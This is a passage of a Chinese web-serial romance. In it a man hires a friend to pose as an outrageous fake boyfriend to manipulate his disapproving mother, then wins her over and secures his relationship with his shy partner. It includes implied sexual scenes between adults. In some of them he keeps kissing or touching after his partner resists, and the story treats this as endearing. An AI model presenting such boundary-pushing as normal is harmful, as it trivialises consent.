他闭上眼睛强迫自己不要再想那个东西,可是不知不觉间睡意竟然尽数褪去,让他也莫名觉得局促了。 身后的呼吸声清晰沉重,也证实着燕绥安并没有丝毫睡意的事实。 也不知过去了多久,他动了动脑袋,想和燕绥安拉开些距离,可身后的人却忽然将他拥紧,低沉嗓声在寂静环境下显得格外嘶哑。 “宝宝。” 司谨只觉得他身上的温度烫的吓人,还没来得及说话,手就被扣住了往后扯。 “宝宝帮帮我,好不好?” “你自己……” 掌心覆上的瞬间,身后人呼吸一沉,司谨压根不敢乱动,脑子里炸开嗡鸣,整个人都有点傻了。 “……” 耳尖红到滴血,随着身后人身体绷紧,湿润的纸巾擦拭脏污的指尖,僵硬片刻后司谨总算成功抽回了自己的手。 燕绥安处理完用力搂着他,很激动似的蹭蹭他的脑袋和后颈。 “宝宝,我帮你。” “不用!” 司谨脸色一变,可还没来得及挣扎,就被他给抓住了。 察觉到和自己相同的反应,燕绥安先是一怔,紧接着心中便是掀起一阵狂喜。 “谨宝,宝宝……” 司谨觉得难为情,艰难强调一遍:“我不用。” “用,我来。” 燕绥安捧着他的脸重重啄吻,身体都激动到微微发颤。 下一秒,他居然掀开被子钻了进去。 司谨猛地一惊,刚起身要阻止,身体就顿时绷紧软化下来。 “……” 不知过去多久,被角微微鼓起,燕绥安从里面钻出来,舔了舔唇角,俯身下来吻住了尚未回神的司谨,将人护在怀中,已经激动到完全睡不着了- 早上司谨险些起晚了,起床以后看也不看燕绥安一眼,直到出门的时间被被人又堵在玄关,强迫打过招呼才允许离开。 只是一看见燕绥安,他就想起做完的那一幕,这会儿还莫名觉得腿发酸。 另一边的燕绥安倒是神清气爽一整天,他原先还一直到担心司谨只是为了遵守他们的约定才跟他在一起,但昨天晚上发生的事情已经完全让他放心了。 裴落进办公室的时候听见他在那哼歌,一副见了鬼的表情:“不是吧你,想到要刺激一回你大哥,就这么高兴?” 燕绥安嘚瑟瞥他一眼,眸中尽是同情:“你不懂。” 裴落:“……” 没心底跟他扯东扯西,裴落将一张照片放大,手机放在他面前。 “人选好了,午饭时间在楼下等你,把人捎上就行。” 燕绥安一看照片,原本还高高兴兴的表情瞬间黑了:“怎么是他?” “怎么?认识的。”裴落满脸八卦。 燕绥安就知道他会胡思乱想,忙解释:“这是司谨朋友,原先我见过。” “哦~”裴落意味深长点点头,“你这是怕他告诉司谨?” 燕绥安叹口气,把他的手机丢在一边。 “那当然了,我想让司谨觉得我家里人从见到他开始就喜欢他,要是他知道我家里最开始有意见,肯定会觉得心里头发虚,我不想让他觉得跟我在一起不自在。” “那你和他说一声不就行了。”裴落不太能理解,“这人既然是小谨朋友,肯定能理解。” 燕绥安微蹙眉头:“这人未必靠谱。” 他知道这人就是原先用司谨账号跟自己聊天的人,好在他原先看出了这人说话方式跟司谨不太一样,这才把人给认了出来,即便到了现在对这人也没什么好感,总觉得靠不住。 “那给你换一个?”裴落只觉得头大,“但昨晚都给他说好了,现找一个可能效果还不够好。” 燕绥安也觉得无奈:“算了,就他吧。” 实在不行就威胁一下,反正那事也是他理亏。 到了吃饭的点,他下楼就瞧见个穿着大V领透视毛衣的男人站在大厅,脑袋上顶着白毛卷发,手机和指甲都贴了彩色的钻,在手机上打起字来清脆无比,大老远的都能听清楚。 “宋晓西?”燕绥安瞥了他一眼,示意他跟上自己。 “诶?是你!”宋晓西一抬头看见他,连忙拿上自己的貂皮外套跟了上去。 进入电梯,燕绥安上下打量他,对这装扮还算满意。 上车以后,宋晓西才大着胆子问:“你还记得我吗?我是司谨的朋友,你是他室友,是不?” 燕绥安嗯了声,将车开出地库,没有跟他寒暄。 “大致的情况都清楚了吗?” “我知道,裴少都和我说过。”宋晓西笑笑,“您放心,我会做好的。” 车停在红绿灯,燕绥安面无表情道:“我还有一件最重要的事提醒你。” “您说。” “这件事不能让司谨知道。” “司谨?”宋晓西刚才还在心里想着一定要和司谨分享这件事呢。 燕绥安也不装了,直接道:“我让你来,就是给司谨打掩护的,他现在是我男朋友,我不希望我家里人给他压力,所以让你先打冲锋,能理解这意思吗?” 宋晓西长大了嘴,简直觉得是自己耳朵出问题了:“你和司谨?可是司谨他有男朋友啊。” 燕绥安:“?” “他那个……他早就有男朋友了啊。”宋晓西简直觉得他在逗自己,“你不会是骗我的吧。” “你的是访心账号里的随便吗?”燕绥安不咸不淡瞥他一眼,“我就是随便。” “什么!”宋晓西差点被自己口水呛到,一下想起来自己以前干的蠢事,简直想给人跪下。 “我知道原先用他账号的人是你。”燕绥安语气冰冷,“今天好好表现,今天发生的一个字也不能透露给司谨,这事就算过了。” 宋晓西满脸震惊,片刻后深深吸了口气。 “放心!” 为了司谨的幸福,他拼了。 “……” 包间内,燕尚给封冉悦拉开椅子,低声安慰道:“您也不用太担心,绥安这么大人也是有自己主见的,总不可能用这些事情来开玩笑。” 封冉悦脸色苍白,还是无法接受:“他以前也没表现出过这种症状啊,怎么忽然就跟男的在一起了。” “他自己高兴不就好了,况且同性恋又不是病,那有什么症状。”燕尚无奈,“您原先不是说过,他这辈子自己怎么高兴怎么过,结果您还是要插手。” 封冉悦着急道:“那也要他真的幸福啊!我一直盼着他结婚生子,等到有了自己的家庭,也会愿意回京市安定下来,结果现在跑到外面去瞎闹,学这种不三不四的东西。” “妈,一会儿当着绥安和他男朋友的面,你可不能说这种话。”燕尚提醒,“小弟会不高兴。” 封冉悦只觉得自己太憋屈:“你干什么要让他把人带过来,我看见就烦,根本不想给他脸色看。” “万一人不错呢?” “那也是男的啊,生不出个一儿半女的,也不能跟他成家。” “您再看不惯,最基本的礼貌还是要有的,否则小弟只会更生疏我们。” 封冉悦虽然不情愿,却也不得不承认燕尚说的是有道理的。 深吸口气,在听见包间门被推开时,她勉强挤出一抹笑容,跟着燕尚一同起身,可看见跟在自己儿子身后的人以后,脸上的笑容却一下僵住了。 “妈,大哥。”燕绥安微微颔首打过招呼,转头故作亲密去看身后的人,“这是我男朋友,晓晓。” 宋晓西满脸惊喜,浑身没骨头似的靠在燕绥安身上,故意做出一副娇羞的表情:“妈妈,哥哥。” 他夹着声音,尖尖细细的,怎么听都让人不舒服。 这下就连燕尚脸上的笑容都没能保持住。 “先、先坐吧。”最后还是封冉悦僵硬开了口。 宋晓西利索将貂皮外套一脱,拖长了声音喊燕绥安:“老公,帮我挂一下~” 燕绥安憋不住有些想笑,还是把他的衣服挂在了衣架上,顺带着把自己的外套也脱了。 封冉悦和燕尚看着只穿着一件透视V领毛衣的宋晓西,一眼瞥见他肚脐眼和胸前都打着闪亮亮的钉子,又嗅到空气中蔓延开过分浓郁到刺鼻的香水味,脸色都变得难看。 “坐啊。”燕绥安倒是不以为然,一屁股落座,“你们不是想看我男朋友,给你们带来了。” 封冉悦脸色更加苍白,一句话也说不出来,燕尚见状只好问:“晓晓今年多大了?” “我今年22岁。”宋晓西眨着眼,没等他发问,就自己主动做了介绍,“在酒吧里上班,平时就是推销一下酒,陪客人聊聊天啦,我和老公也是在酒吧里面认识的哦。” 他说完,又含情脉脉地望向燕绥安,细长浮夸的美甲搭在桌上,一会儿又去搔挠燕绥安的手臂。 燕尚:“……” “你这么大人,不做点正经工作吗?”封冉悦忍不住开口。 宋晓西将手挡在脸前面,满脸惊讶和委屈:“妈妈,你怎么这样说我,我的工作哪里不正经了,平时就是陪一下酒嘛。” “你别这么叫我。”封冉悦看不得这副样子,呼吸一下子急促起来,“燕绥安,你说的好对象就是这样的?你真的太让妈妈失望了!” 燕绥安还未来得及开口,宋晓西便哇的一声做出要哭的样子,抱着他的手臂:“老公你看她,我就说我不来的,你妈妈根本就不喜欢我。” 封冉悦气到嘴唇发抖,燕尚见状忙起身,狠狠瞪了燕绥安一眼。 他心里头不少怒意,但还是维持着礼貌:“绥安,先让你男朋友去隔壁吧,我们一家人聊聊。” “我不走,老公去哪我去哪~”宋晓西继续纠缠。 燕绥安也知道差不多了,只好拍了拍他后背,装作安慰的样子:“行了,去隔壁吧,我们聊几句就来找你。” “就连你也不站在我这边!”宋晓西满脸委屈捂着唇起身,拿上外套一扭一扭哭着离开了。 包间门关上,里头陷入了死一般的寂静。 燕绥安倒是端坐如山,还端起面前的酒杯喝了一口。 对面的燕尚看了他一眼,半晌还是叹口气,摸了摸母亲的后背:“妈,您别生气,年轻人要面子。” 封冉悦怒视向燕绥安:“这就是你找的男朋友?” 燕绥安:“是,怎么了?” “绥安,好好说话。”燕尚微皱眉头。 燕绥安无奈,只得道:“我刚才不是介绍过来吗?还要说什么,而且是你们自己说要见的。” 封冉悦想起刚才那人的一言一行,顿时觉得呼吸都变得困难了。 “你看看你找的是什么样的人?打扮的花里胡哨的,还把陪酒说的那么简单,你是不是以为妈妈没听说过那种乱的地方啊?” “那你们到底什么意思?”燕绥安拍桌而起,面露愠色,“我喜欢男的你们也不同意,我找的对象你们也瞧不起,要是早知道我是同性恋该多好,刚出生的时候把我掐死就行了!” “燕绥安!” 这次燕尚也被他给惹怒了,看着表情难看的母亲,猛地上前将燕绥安摁回了位置上。 “你说的什么混账话?” 燕绥安愤愤抬头,狭长深黑的眼眸猩红一片,隐约浮上水光。 “反正我做什么你们都不满意,我喜欢男人你们也不答应,我想自己开公司你们也反对,整天说为了我好只要我开心,实际上我喜欢的东西你们都不支持!” 封冉悦从没见过自己儿子这副模样,从前她无数次渴望过自己的小儿子能对自己袒露心扉,说一说心里的想法,可是好不容易等到那一天,却是在这样的情况下。 她颤抖着嘴唇:“妈妈真的只想你幸福啊。” “您觉得我幸福吗?”燕绥安平静下来,双目泛红,“我走到哪您就跟到哪,在京市的时候我没有半点隐私,到了海城还是一样,您什么事都要管都要干涉,知道我喜欢男人也反对,知道我谈恋爱也反对,只要是我想要的,你都不让我做,我的幸福感该从哪里来?” 燕尚为难起来,看着此时的局面,沉思良久也只好道:“绥安,我也和妈聊过了,我们不介意你喜欢男人,但……你不能找个这样的吧。” 燕绥安手指微动,但还是没有抬头。 “我知道,这种快节奏的地方感情来得快去得也快,你们也没认识多久,只要你跟他分开找个正经点的人,妈肯定是能接受的,她也不是不讲理的人,是不是?” 燕绥安将脑袋转向一边:“世界上没有十全十美的人,我找不到那种神仙。” 封冉悦着急起身:“妈妈不求你找一个多好的,至少要是正经工作礼貌得体的好孩子吧,哪怕是有些个性也没关系,但是刚才这个……” 她一提到就止不住地叹气,脑袋发晕。 燕绥安还是不言语,她又想到什么,着急道:“像小谨那样的,这种努力上进的乖孩子好孩子,妈妈肯定是会喜欢的,你不要真的觉得妈妈在刁难你,妈妈也在努力接受的,你要是找一个正常人,妈妈肯定把他当做自己的孩子来对待。” 她说这话也耗费了好一阵心力,经过了深思熟虑才终于做出的决定。 反正从最开始,她就是要自己儿子开心幸福的,如果她的干涉真的叫孩子那么痛苦,那么……她确实是有错的。 闻言,燕绥安总算抬起头来,“您说真的?” “妈妈怎么会骗你。”封冉悦说起就心酸,“我昨晚还在和你爸打电话,跟他讲这件事,他性格要更古板,我不都是怕他说你。” 燕绥安心里也不好受。 燕尚见着时机正好,一把揽住自己弟弟宽阔的肩膀,低声道:“差不多就行了,一会儿出去跟他分了,要多少大哥来给。” “他不是这种人。”为了维持人设,燕绥安还是给宋晓西解释了一句,思考半天妥协似的,“我知道了。” 燕尚总算放下心来,转头去看封冉悦:“妈,小弟答应了,他会跟那人分手的,之后找个正式的男朋友。” 封冉悦紧绷的表情骤然松懈下来,冲着燕绥安伸出手,在儿子起身后重重抱住他,眼泪不自觉流了下来。 “以后别再故意气妈妈了,找对象也要认认真真找,不能随随便便就和人家在一起,知不知道?” “嗯。” 燕绥安用力闭上眼睛,总算放心下来,长长舒出一口气。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 40-45 第41章 结束一场闹剧后,燕尚安慰封冉悦的功夫,燕绥安出门去隔壁包间和宋晓西提“分手”的事。 “表现不错,回头让裴落把酬劳打给你。” 宋晓西尴尬一笑:“用不着,就当帮司谨忙了,不过……你妈刚才看着挺生气的,这会儿还好吧?” “没事。”燕绥安长吁口气,“这么一闹应该不会那么偏激了。” “那就好。” 宋晓西没多待,拿着东西便走,出了走廊又回过头来,满怀歉意冲他点点头:“之前的事情真是对不起,我那会儿确实是鬼迷心窍了。” 燕绥安毫不在意一挥手,没说话,转身回了包间- 之后虽然宋晓西没再进包厢来,可封冉悦的情绪还是不高涨,被两兄弟送回了包厢,也是罕见的少话,只叫他们自己早些回去休息,接着便自顾自回房间给远在京市的老伴打视频去了。 听见房间里头传出说话的声音,燕尚这才松口气,离开包间后一转头看见自己弟弟正靠在走廊上打字,像是正在跟谁聊天。 “走吧,聊聊。” 燕绥安看了眼时间,已经快六点了,算着平时司谨这个点就要下班,他原本还想偷偷去接的,但见着大哥认真的表情,便知道逃不掉这顿拷问,只得打消了这个念头,起身跟上他。 “行。” 进了隔壁房间,燕尚落座后重重叹了口气,开门见山道:“今天这个又是从哪找的人?” 燕绥安有些诧异地挑下眉,却是不承认:“找什么人?” “装什么傻?”燕尚瞥了他眼,“故意找来气妈的吧,当我跟你一样幼稚不成。” 燕绥安其实最开始就没想过能瞒过他,这会儿想到他看出也的确替自己遮掩了,便叹口气靠在沙发上,说:“酒吧找的呗。” 燕尚无奈地看了他一眼:“你就没想过真把妈气出个好歹来。” 虽然燕绥安早就知道今天这么一闹肯定会让封女士不高兴,但刚才在餐厅的反应也的确是吓了一跳,他没想到封冉悦会这么轻松接受,更没想到她会哭成这样。 见他面露心虚,燕尚冷冷道:“你这么遮掩,是有谈着的吧。” 燕绥安也不装了:“是。” 燕尚顿时怒了:“你就这么信不过我们家里人?还特意找个演员来演这么一出。” “我没办法,你们自己扪心自问,这个家里有人支持我吗?”燕绥安也不是低着头挨骂的性格,顿时也沉了脸,“我好不容易追到手的人,回头让你们一顿饭就吓跑了,难过受伤的不是我吗?” 燕尚:“你自己说,假如你找个正经对象,妈会有这么大意见吗?她就算有也只是憋着,你那个所谓的对象到了以后,她不也是笑着迎着,有给你丢脸吗?” “你不懂。”燕绥安就知道跟他解释这些会很辛苦,这会儿也不奢求能让他理解自己的感受了。 “是你自己不懂!妈只是需要接受的时间!” 他吼起来,燕绥安也没了耐心。 “妈需要多少时间?自从我出事都十几年了,她还是没办法接受我离开京市,还是接受不了无法随时掌控我的去想,我后半辈子是不是得在身上挂个定位器?” 这件事的确理亏,燕尚被他噎了一下:“这不是一码事。” “怎么就不是一码事了。” “……” “妈就是不见棺材不死心,她明明已经确定了我喜欢男人,还一个劲想要把我带回所谓的正道,我好好和她说,要说到猴年马月?我也想跟家里和和睦睦的,可我能做到,他们能不唠叨我逼我吗?” 燕绥安在家始终是一副吊儿郎当的模样,平时被封女士念叨久了,渐渐地一张口就是胡言乱语,每一句正经话。 以至于燕尚都忘记了,上一次听见自己弟弟一次性说这么多话是在什么时候。 屋内安静了良久,两人一坐一立,许久都没有说话。 片刻后,燕尚长长叹了口气:“这些话,你私底下和我说说也就算了,妈已经在努力改了。” 燕绥安不说话。 他恨铁不成钢看了眼靠在沙发上没个正型的人,还是一屁股在他身边坐下,妥协道:“那你接下来什么安排?” “就先这样呗,我还没跟我对象腻歪够呢,他愿不愿意跟我回家还说不准。” 燕尚皱皱眉头,莫名有了不好的猜测:“你不是强迫人家吧?” “放屁。”燕绥安最听不得这话,“我们两情相悦好不好?只是他比较害羞。” 燕尚怀疑地看他一眼,只问:“你对象是做什么的?人怎么样?哪人?” “告诉你干嘛?”燕绥安压根不打算跟他多说,“反正这件事你别跟妈说,还不到那时候。” “你还准备让妈难受多久?” “我不是这意思,是我这边还没搞定……我追了好久才追上的,他现在还没那么喜欢我,我怎么好说?” 燕尚看着他烦躁的表情,了然道:“这倒也是,万一说完人家忽然跟你分手了。” 此话一出,燕绥安的拳头猛地硬了,阴恻恻看向他,满脸幽怨愤怒。 “当我没说。”燕尚叹口气,“你过几天和妈说你们分手的事情吧,我怕她不行,以为你在使缓兵之计。” “知道。” 燕绥安看了眼时间,看见司谨五分钟前给他发了上地铁的消息,立马啧一声。 “我得回去了。” 燕尚瞥了眼时间:“快到饭点了,晚上不一起吃?” “不了,我要回去给男朋友做饭吃。”燕绥安回复完消息利索起身。 燕尚不可置信:“你会做饭?” 他怎么从来不知道。 燕绥安吹了声口哨,嘚嘚瑟瑟出门:“临时学的呗,我有老婆,和你这种单身汉是不一样的,要学的东西多了去了。” 燕尚:“……”- 燕绥安兴致冲冲回到家,进电梯后找出手机查看食材都到了没有,结果刚上升了一层,电梯门就打开了。 司谨站在外头,抬腿进来时瞧见他,眼睛微微亮起:“你回得好早。” “累不累。”燕绥安露出笑容,顺手揉揉他的脑袋,忍不住俯身下去贴了贴他的脸颊。 他最近粘人到有些过分,这会儿凑过来一下子就让司谨有了不好的预感,下意识伸手去推他,“还好,你买菜了吗?” “点了食材外送。” 燕绥安被他推开,有点委屈。 司谨见不得他这副模样,犹豫片刻还是抓住了他的手,讨好似的牵住。 燕绥安这才反手握住他的手,门开后带着他出去,见定好的菜已经放在门口,便一边开门一边询问他晚上的安排。 “想吃什么?” 司谨想了想:“吃饭吧,我想吃茄子。” “正好我买了,咸鱼茄子煲。”燕绥安将大包小包拎进屋子,“再做个红烧鱼块,炒个菜心,怎么样?” “好。” 司谨也饿了,进房间放了东西,洗过手把外套脱了就进去帮忙。 最开始燕绥安还不愿意,可抄着菜刀剁完鱼一回头看见司谨背对着他立在洗手池前洗配菜,微微低着头露出一截白皙脖颈的模样,一下子又没意见了。 他凑过去洗手,在司谨察觉到他意图后往边上腾位置的时候也不听话,反而把下巴支在他肩上,两只手从边上围住他,就着这个姿势把手给洗干净。 司谨缩在他怀里,手上的辣椒梗都不知道往哪扔,只能放在边上, 他什么话也没说,耳垂却是红到滴血,让燕绥安回想起了那天晚上自己从被子里钻出来时看见的那一幕。 呼吸重了重,他忍不住贴近怀中的身躯,将嘴唇贴上了那滚烫的耳廓。 司谨的身体很夸张地抖了一下,有些惊慌转头看过来,对视间却怔了怔,紧接着便被他给含住了嘴唇。 “有水……”司谨呼吸急促,含糊说了句。 “没事,宝宝张嘴。” 燕绥安用那一截没沾水的小臂揽着他的腰,把人转过来,自己俯身凑了下去,气势汹汹到像是要把他给吞了。 舌尖抵进司谨湿软的口腔,他听着耳边细碎的喘息声,脑袋里像是炸开了一簇电流,使得与怀中人紧贴的那面身体酥麻了一大片,太夸张了。 他也不知道自己究竟是怎么了,明明平时也不这样的,可是一看见司谨,脑子里就全是变态的想法。 搂着怀中人的力道越来越重,他忍不住贴近过去,想要拉近两人之间的距离,可下一瞬就感觉到司谨的身体一僵,有些抗拒伸手来推他。 不情愿? 燕绥安立马起了逆反心理,抬起只手扣住司谨柔软纤长的后颈,越吻越深,喉结微微滚动,是吞咽的动作。 司谨一张脸憋得通红,整个人被他堵在岛台前没处可躲,不免显得有些狼狈,穿着单薄衬衣,身后滴着水的洗菜池却是冰冷的。 “燕…唔……” 他断断续续没有说话的机会,用力锤了一下燕绥安的肩,才终于被松开。 唇间不自觉溢出暧昧声响,他脸颊瞬间涨红,猛地推开燕绥安,摸了一把湿润的后腰。 燕绥安正皱着眉头不太高兴,一低头见他衣服后面湿了一大片,是刚才贴在了湿漉漉的水池沾上的,表情立马尴尬起来。 “宝宝。” 他正想解释什么,司谨却抬手把攥了许久的青辣椒丢在他胸前,“你自己洗吧!” 说罢,他拽着湿淋淋的衣角离开厨房,回房间里头换衣服去了。 燕绥安心虚接住那根被掰了梗的青辣椒,脑子里却全是司谨红彤彤的脸蛋,忍不住觉得心痒。 “……” 衣服湿了一大片,司谨索性去洗了个澡,出来时厨房里头的人已经在炒菜,用不着他打下手了。 燕绥安听见浴室门开的声音,转头朝着外头喊:“宝宝你先坐着,我做好叫你。” 司谨坐在沙发上,想到刚才的事情莫名就不想答应他,好不容易褪去温度的脸颊又重新滚烫起来。 好在吃饭的时间燕绥安还算老实,没有提刚才的事情,反应也基本上消下去了。 吃过饭,司谨照例回房间修文,他白天收到了签约的邮件,这会儿刚走完流程,准备看一遍编辑发来的规则。 这一看就是一个多小时,等他关机摘了眼镜起身准备去洗把脸睡觉,一起身就看见燕绥安穿着睡衣走了进来。 “宝宝,忙完了?” 司谨有点儿警惕:“你今天晚上也要睡在这里吗?” “宝宝不欢迎我吗?”燕绥安露出受伤的表情。 司谨别扭移开目光,深吸口气:“我觉得还是分开睡比较好。” 他还是不太习惯燕绥安这副样子,可是现在已经知道燕绥安露出这种表情就是想要让他心软。 燕绥安的眸色暗淡下去:“你是不是还在生我的气?” 司谨正想说不是,却听他又道:“可是我真的忍不住。” “……” 司谨没忍住瞪了他一眼。 “我保证今天晚上什么都不做,就聊聊天,好不好?” 司谨拗不住他的软磨硬泡,最后也只好点头答应了。 而好在燕绥安也足够信守承诺,上了床也只是抱着他,什么也没做。 聊了没多久,司谨逐渐犯困,动了动脑袋小声嘟囔:“你明天把枕头拿过来,不要用同一个了。” 这意思就是明天也能过来一起睡了。 燕绥安心底一喜,想也不想就答应下来- 春天雨多,时间过得也很快,随着天气逐渐暖和起来,司谨的生活也逐渐步入正轨。 他发出的小说成绩还算不错,连载期间收获了许多评价,赚到的稿费数目远远超出了他的预想。 临近完结,他知道自己如果准备继续写的话,就应该开始着手准备第二本书,可是工作越来越忙,却让他感到力不从心,一时间心底居然产生了动摇。 而另一边,燕绥安早在半月前就告知了封女士自己分手的消息,对方当时没什么太大的反应,只是这段时间又开始旁敲侧击,询问他感情问题上的情况。 燕绥安起初装作一副无情无欲的模样,直到一周前才隐晦暗示自己有喜欢的人了。 不过当时说完便借口有事挂了电话,惹得这几天远在海城度假区的封女士疯狂给他发消息询问。 晾了一段时间,这天晚上还是没逃掉。 燕绥安接通了电话,看着屏幕上出现自己被电视屏幕映亮的脸。 封女士出去玩了一天,这会儿贴着面膜催促他:“别磨磨蹭蹭了,快说说什么情况。” “您怎么就这么好奇,八字还没一撇呢。”燕绥安故意吊她胃口。 封冉悦不耐烦了:“我这不是怕你还跟之前那个藕断丝连吗?” “那倒不会,我现在已经想开了,那根本就不是真爱,我其实一直都喜欢我身边的一个人。”燕绥安暗示她。 屏幕对面的封冉悦愣了许久,半晌震惊道:“你该不会——” 她说到这卡住,满脸都是不敢相信。 燕绥安轻咳一声,挑眉示意她说下去。 封冉悦不可置信:“你不会喜欢裴落吧?” “……” 如果此时手机对面的人不是自己老妈,燕绥安指定要张口骂人。 封冉悦看见他表情被逗笑:“开玩笑啦,我知道肯定不会是小落的,那是谁?” 燕绥安不说话,就盯着屏幕对面的人。 封冉悦瞬间安静下来,猜到什么:“该不会是小谨吧?” 她猜测着开口,燕绥安始终打量着她的表情,确定除了惊讶以外没有排斥和不满,才点了头。 “是他。” 这下轮到封冉悦沉默了,她靠在沙发上,用手指捋平面膜的边缘,似乎在思考什么。 燕绥安猜不透她的想法,莫名心底发毛。 好在封冉悦没多久便点了点头:“小谨是个不错的孩子,那你和他表白没有?” 燕绥安轻咳一声:“嗯,他拒绝了,说想跟我做朋友。” 封冉悦蹙紧眉头,似乎也觉得难办:“小谨是不是喜欢女孩啊?如果是这样你就别去招人家了。” “……”燕绥安察觉到她就要开始教育自己,连忙又补充,“我不管,反正我喜欢他,就要努力试一试,而且我前段时间发现了一件事。” 这是他的底牌。 封冉悦不太赞同,但还是问:“什么?” “您还记得当初我被送到余城,多亏有个小孩把我的行踪告诉学校老师才获救吗?” 提起往事,封冉悦的脸色微变,仿佛又重新回到了那噩梦般的几天。 燕绥安呼吸也沉了沉,才继续说下去:“司谨就是那个小孩。” 封冉悦面露震惊,良久才磕磕绊绊道:“你说真的?” “对。”燕绥安将上个月陪司谨去余城,发现那些房子的事情同她说了。 封冉悦听完,眼泪又是止不住地往下掉,面膜也贴不下去了,只得伸手将其揭掉,好半天都没能说出一句话来。 燕绥安乘胜追击:“所以我觉得,我跟他还是很有缘分的,当初看见他第一眼我就认出他来了,现在就想和他在一起。” 封冉悦说不出任何阻止的话来,她心里头的情感很复杂,可是却无法形容。 对于司谨,她是打心底喜欢的,知道他一个人在海城打拼,人也有礼貌长得又乖,从第一次见到面时,她就无法抑制地对这个过分听话的孩子产生了怜爱。 也正是因为这样,她才会每回过来都给他带礼物,还让司谨帮忙盯着自己儿子的动向,正是因为她觉得这人是可靠的,可以信任的。 可是刚才听见燕绥安说喜欢司谨,她心脏还是止不住地抽痛,这些天做好的准备显然还是不够。 可听见两人之间还有这份关联,她却是再也说不出阻止的话来了。 那短短的一周时间对于他们全家来说都是毕生难忘的,而司谨无意间救了燕绥安,也是他们全家的恩人。 良久后,封冉悦才重重叹了口气。 “人家对你有恩,不要做对不起他的事情,他要是不情愿,你不能强迫哄骗他。” 燕绥安打心底委屈,他知道自己今天这些话能打动母亲,却没想到自己在她心里变成了个这样的形象。 “知道。” 封冉悦摇摇头,没了多聊的兴致:“要是你们成了……就找个机会带回家里吧,我们还没好好感谢过人家。” 燕绥安倒是不着急,只含糊点点头。 “人家现在压根就不搭理我,还久着呢,您也别拿着人家微信就骚扰。” “你把你妈想成什么人了?” 燕绥安咳嗽两声。 “那这样……你以后就更不会回京市了吧,喜欢的人又在海城工作。”封冉悦轻轻开口,可最后也没等他的回答,“算了,你就当妈妈刚才那句话没说过。” 电话被挂断,燕绥安长松口气,紧张的心却没有完全松懈下来。 他一直清楚家里人都希望他能回京市发展,但他还是比较希望自己过得痛快些- 等司谨晚上回来洗漱躺下,燕绥安迫不及待把人抱紧,又习惯性询问他一天的情况。 司谨有些困倦,小声跟他嘟囔:“我听同事说上面准备在编辑部裁人,好像是网站出了点问题。” 燕绥安心底一动,问:“那你呢?” “还不知道。”司谨这些天也一直在为这件事而烦恼,这会儿翻个身面向燕绥安,眸中满是犹豫,“你帮我分析一下好不好?” 他难得有这样的时候,燕绥安有些激动,强壮镇定道:“你说,我听听。” 司谨垂下眼眸:“其实我也感觉公司最近情况不太对了,加上我那本书的成绩还可以,我想抽空准备下一本书,就想着……如果他们正好劝退我的话,可以重新找一份工作。” 燕绥安微微皱眉,他其实也暗中在追司谨那本书,知道这本书的成绩还不错。 思忖片刻,他建议道:“宝宝,你有没有想过全职写书?” 司谨却是毫不犹豫摇了头:“我觉得不太稳定,还是要有一份工作的。” “一粟那边兼职不算辛苦。”燕绥安说。 司谨纠结着还是摇摇头:“程姐估计过段时间就要离开了,到时候一粟还指不定会不会变更模式,说不准之后就用不上我。” 燕绥安叹口气,也为难起来。 他知道,司谨是个很没有安全感的人,否则也不会有主业的同时还要在周末兼职。 熟悉以后,他偶尔会看见司谨抱着手机用计算器算自己的存款,钱不算很多,但一点一点在增加,他知道这对于司谨来说很重要。 “宝宝。” “嗯?” “你有没有想过自己创业?我觉得你也很有开店的天赋。” 司谨用怀疑的眼神看向他。 “我是认真的,虽然你性子比较温和,但其实很有头脑,遇事处变不惊的很能唬人。” 司谨心说他大多数时候明明是都没反应过来,但见燕绥安认真的模样,他也没有多言,说:“其实我最开始就是这样想的,但是我的钱还不够,要再攒几年才行。” 他很喜欢这种运营模式,总觉得一粟这种餐厅就像手机上的小游戏,认认真真布置好每一个区域,迎客送客。 可是创业的压力很大,对于资金要求更是高,如果他现在有钱的话,也许在程姐说出准备自己找个地方开一粟连锁餐厅时,他就会主动去和程姐商量。 思来想去,他还是摇摇头:“算了吧,先看看情况再说。” 燕绥安无奈将他揽进怀里,俯身吻了吻他的额头,若有所思地垂下眼眸。 屋内一片静谧,他听着怀中人的呼吸声,便知道他没有睡着,回过神来忍不住将人搂紧。 司谨蜷起身体,像是回想起来什么不好的事情,红着脸回头:“我想睡觉了。” “我又没有想干嘛。”燕绥安无辜又委屈,抱着他蹭了蹭,墨迹半天暴露了自己的真实意图,“宝宝,我算不算是转正了?” 司谨摁住睡衣里面快要伸到前胸的手,还没来得及发作就被问得一愣。 “这么久了,你都没说过,我到底算不算是有名分啊?”燕绥安呼吸沉沉落在他耳畔,带着催促和着急,“宝宝,说话。” 司谨的呼吸声也跟着重了,认认真真思考起来。 看见他居然真的犹豫了,燕绥安立马垮了脸,作乱的手指往上窜。 司谨一僵,用力摁住他的手,上半身蜷了起来,脸颊染起绯红。 “算。” 他声线有些发颤,还带着点儿委屈的意思。 燕绥安眼睛一亮:“真的?” “嗯。”司谨拽着他的手拿出来,呼吸还有点急,却没有生气,反而是一副认真相,“算在一起了。” 他这副模样太乖,惹得燕绥安内心止不住翻涌起浓浓爱意,这会儿捧着他的脸,恨不得一口咬在他脸上,将他吃干抹净。 谁料还没等他付诸行动,司谨便警惕地看向他,小声说:“我真的要睡觉了,你不要乱摸我。” 燕绥安得到了自己想要的答案,又怎么舍得再打扰他,这会儿满口答应,又把人结结实实搂住。 可因为太过高兴,他还是有些管不住自己。 好半天,司谨在他怀中闷闷开口:“你再这样,我就去客厅睡了。” 他语气中是明显的困意,一下子让燕绥安不敢再动。 只是没多久等到怀里人睡熟了,他缓慢睁开眼,又忍不住俯身吻了吻他阖上的睫羽和鼻尖,连带着嘴唇脸蛋亲了个遍,怎么都不够似的。 心中不安的某处终于变得妥帖平整,他身体中仿佛都洋溢起了前所未有的温暖,让他整个人飘飘然,总觉得一切都是那么不真实。 怀里的人静静安睡,燕绥安垂眸在黑暗中窥视着那张乖巧的面容,同他额头相抵,才终于心甘情愿闭上了眼睛。 第42章 彭露:【笑死我了,昨天晚上刘有意一个劲打听程姐创业的事情,说自己想跟程姐一起合作入股,结果被程姐给拒了,刘有意在这气得不行,但说实话换做我也不会跟他合伙,这人品就不行】 司谨看完消息简单回复完,想了想又多问一句:【程姐现在找到合伙人了吗?】 彭露:【好像是找到了吧,程姐最近正在和一粟总部那边联系,准备让他们帮忙选址来着,她月底就要辞职了,店长最近每次来都给程姐脸色看,真是小心眼】 司谨安慰几句,结束对话后将手机关上,心底不免感到遗憾。 可等到了发工资当天,到账的时间办公室响起一片铃声,有人猜到是工资到账,可看完以后都沉默了。 